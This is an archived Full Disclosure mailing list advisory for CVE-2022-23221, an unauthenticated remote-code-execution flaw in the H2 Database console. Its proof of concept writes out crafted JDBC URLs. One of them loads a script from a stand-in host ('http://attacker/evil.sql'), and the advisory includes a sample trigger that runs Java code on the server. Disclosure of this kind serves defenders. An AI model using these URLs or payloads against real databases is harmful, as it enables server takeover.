Nmap.org Npcap.com Sectools.org Insecure.org

Site Search

Full Disclosure mailing list archives

By Date By Thread

List Archive Search

Unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221.

From: Ismail Aydemir <me@ismail.email>
Date: Wed, 19 Jan 2022 11:17:49 -0500

~~~
Document Title
===============
Unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221.

Product Description
===============
The H2 Console Application

The Console lets you access a SQL database using a browser interface.

Homepage: http://www.h2database.com/html/quickstart.html
Affected Components
===============
File Name: WebServer.java
File Path: /h2database/h2/src/main/org/h2/server/web/WebServer.java
Impacted Function: getConnection

PoC
===============

1) Navigate to the console and attempt to connect to a H2 in memory
database that does not exist using the following JDBC URL:

```
jdbc:h2:mem:1337;
```

2) Note that you get the following security exception preventing you
from creating a new in memory database:

```
Database "mem:1337" not found, either pre-create it or allow remote
database creation (not recommended in secure environments) [90149-209]
90149/90149 (Help)
```

3) Now try again with the following JDBC URL:

```
~~~

```
jdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;'\
```

4) Note that you were able to successfully create a new in memory database
5) Create a SQL file that contains a trigger that executes
java/javascript/ruby code when executed and host it on a domain you
control (ex: http://attacker)
6) Use the following JDBC URL to execute the SQL file hosted on your
domain on connect:

```
jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://attacker/evil.sql';'\
```

Example evil.sql file:

```
CREATE TABLE test (
     id INT NOT NULL
 );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
var fos = Java.type("java.io.FileOutputStream");
var b = new fos ("/tmp/pwnedlolol");';

INSERT INTO TEST VALUES (1);
```

CVE Issued: CVE-2022-23221

____
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

By Date   By Thread

Current thread:

- **Unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221.** *Ismail Aydemir (Jan 24)*

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License